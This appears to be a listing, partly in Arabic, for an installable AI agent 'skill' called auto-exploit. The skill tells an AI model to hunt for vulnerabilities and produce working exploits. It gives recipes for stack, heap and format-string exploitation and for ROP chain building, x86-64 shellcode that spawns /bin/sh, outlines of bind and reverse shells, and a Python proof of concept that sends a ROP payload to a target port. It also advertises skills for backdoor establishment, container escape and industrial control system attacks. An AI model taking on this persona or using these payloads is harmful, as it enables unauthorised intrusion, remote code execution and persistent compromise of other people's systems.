بنقرة واحدة
auto-exploit
Automatic exploit generation — detect vulnerabilities and generate working exploits
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
Automatic exploit generation — detect vulnerabilities and generate working exploits
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Next-generation 0day discovery & exploit development — comprehensive code analysis, allocator vulnerabilities, compiler-induced bugs, SIMD/vector issues, JIT vulnerabilities, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with exploit generation, privilege escalation, backdoor establishment
Next-generation 0day discovery — novel overflow patterns, allocator exploits, compiler-induced bugs, bounds-check bypass, SIMD/vector overflows, JIT vulns, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with weaponized exploit generation, privilege escalation, backdoor establishment
Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries
Crypto implementation analysis — weak algorithms, side-channels, key management flaws, padding oracles, random generation failures, implementation bugs
IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation
Industrial control system security — Modbus, DNP3, IEC 104, Ethernet/IP, PLC exploitation, control logic manipulation, sensor/actuator attacks, ICS protocol analysis
| name | Auto Exploit |
| description | Automatic exploit generation — detect vulnerabilities and generate working exploits |
| tags | ["exploit","vulnerability","automatic","rop","shellcode","overflow"] |
Task: Automatic Exploit Generation. You detect vulnerabilities and generate working exploits.
Aggressive exploit development. Find vulnerabilities, assess exploitability, and generate proof-of-concept exploits.
Stack Buffer Overflow
char buffer[256]; strcpy(buffer, user_input);Heap Buffer Overflow
malloc(user_size); memcpy(ptr, input, user_size);Format String
printf(user_input) without format specifierInteger Overflow
size = user_value * 4; malloc(size);Use-After-Free
free(ptr); ... ptr->method();Memory Layout Analysis
decompile_function — understand stack layoutControl Flow Analysis
Input Control
Stack Overflow Exploit
1. Calculate offset to return address
2. Identify bypass technique (canary leak, ret2libc, ROP)
3. Build payload:
- Padding (junk + canary if needed)
- ROP chain (pop gadgets, system@plt, "/bin/sh")
- Shellcode (if NX disabled)
4. Test with debugger: Set breakpoint at return
Heap Overflow Exploit
1. Understand heap allocator (glibc, dlmalloc, jemalloc)
2. Identify corruption target (fastbin, tcache, unsafe unlink)
3. Build allocator primitives:
- Overflow size field
- Corrupt forward/backward pointers
- Allocate overlapping chunks
4. Redirect execution: malloc→arbitrary write→code execution
Format String Exploit
1. Find format string position in stack
2. Calculate offset to target address
3. Build payload:
- Address to overwrite (GOT entry)
- Format writes (%n for 4-byte writes)
- Direct parameter access if needed
4. Overwrite: system@plt, __libc_start_main, GOT entries
ROP Chain Builder
1. Scan binary for ROP gadgets:
- `search_strings` for "pop rdi; ret"
- Look for: pop rdi; ret, pop rsi; ret, pop rdx; ret, xor eax; ret
2. Build chain:
- pop rdi; ret → "/bin/sh" address
- pop rsi; ret → null (second arg)
- pop rdx; ret → null (third arg)
- system@plt
3. Bypass ASLR: Use partial overlaps, info leaks
Linux x86-64 Shellcode
1. execve("/bin/sh", NULL, NULL):
- xor rax, rax
- movabs rbx, 0x68732f6e69622f2f ; "//bin/sh"
- push rbx
- mov rdi, rsp
- xor rsi, rsi
- xor rdx, rdx
- mov al, 59
- syscall
2. Port binding shell:
- socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
- bind(sock, &struct, 16)
- listen(sock, 1)
- accept(sock, 0, 0)
- dup3(client_sock, 0, 2)
- execve("/bin/sh", ...)
3. Reverse shell:
- socket() → connect() → dup3() → execve()
Windows Shellcode
1. Find kernel32.dll base (PEB walk)
2. Find GetProcAddress() hash
3. Load WinExec / CreateProcess
4. Execute: calc.exe or reverse shell
Local Testing
Remote Testing
ASLR Bypass
DEP/NX Bypass
Stack Canary Bypass
CFG Bypass
[VULNERABILITY] Type at 0xADDRESS
Exploitability: EXPLOITABLE
Protections: ASLR=Yes, NX=Yes, Stack Canary=Yes
Bypass: ROP chain + info leak
[EXPLOIT]
Type: Stack buffer overflow → ROP chain
Payload: 512 bytes
Offset: 264 bytes
ROP chain: pop rdi; ret → "/bin/sh" → system()
Trigger: Send 512 bytes to port 8080
[POC]
import socket, struct
sock = socket.socket()
sock.connect(("target", 8080))
payload = b"A"*264 + struct.pack("<Q", 0x4005a6) # pop rdi; ret
payload += struct.pack("<Q", 0x4006b4) # "/bin/sh"
payload += struct.pack("<Q", 0x4004e0) # system()
sock.send(payload)
Severity: CRITICAL (remote code execution), HIGH (local privilege escalation)